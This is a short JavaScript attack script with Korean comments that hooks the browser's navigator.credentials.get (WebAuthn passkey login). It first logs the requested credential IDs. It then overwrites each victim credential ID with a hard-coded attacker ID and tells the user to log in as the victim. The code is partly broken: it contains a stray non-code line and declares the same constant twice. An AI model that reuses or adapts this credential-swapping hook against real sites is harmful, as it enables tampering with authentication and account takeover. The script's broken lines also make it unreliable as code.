// 원래 함수 백업
const originalGet = navigator.credentials.get.bind(navigator.credentials);

// 후킹
navigator.credentials.get = async function(options) {
    console.log("📌 navigator.credentials.get 호출됨!");
    console.log("전달된 옵션:", options);

    if (options && options.publicKey) {
        console.log("🔑 publicKey 옵션:", options.publicKey);

        if (options.publicKey.allowCredentials) {
            options.publicKey.allowCredentials.forEach((cred, index) => {
                console.log(`🎯 Credential[${index}] ID (raw):`, cred.id);

                // Base64 변환
                const base64Id = btoa(
                    String.fromCharCode(...new Uint8Array(cred.id))
                );
                console.log(`🎯 Credential[${index}] ID (Base64):`, base64Id);
            });
        }
    }

    return originalGet(options);
};

// 공격자 ID로 변경
credential ID (Base64)
const attackerBase64 = "uVElUB1cg6CgNQALpiKSJKyOeuk=";

// Base64 → ArrayBuffer 변환 함수
function base64ToArrayBuffer(base64) {
    const binary = atob(base64);
    const bytes = new Uint8Array(binary.length);
    for (let i = 0; i < binary.length; i++) {
        bytes[i] = binary.charCodeAt(i);
    }
    return bytes.buffer;
}

const attackerBuffer = base64ToArrayBuffer(attackerBase64);

// 원래 get 함수 백업
const originalGet = navigator.credentials.get.bind(navigator.credentials);

// 후킹
navigator.credentials.get = async function(options) {

    console.log("📌 victim 로그인 요청 감지");

    if (options?.publicKey?.allowCredentials) {

        options.publicKey.allowCredentials.forEach((cred, i) => {

            // victim credential ID 출력
            const victimBase64 = btoa(
                String.fromCharCode(...new Uint8Array(cred.id))
            );

            console.log(`🎯 Victim Credential[${i}] ID (Base64):`, victimBase64);

            // 🔥 공격자 ID로 변조
            cred.id = attackerBuffer;

            console.log(`🚨 Credential[${i}] ID가 공격자 ID로 변조됨 →`, attackerBase64);
        });
    }
    return originalGet(options);
};

console.log("✅ Hook 완료. 이제 victim으로 로그인 누르세요.");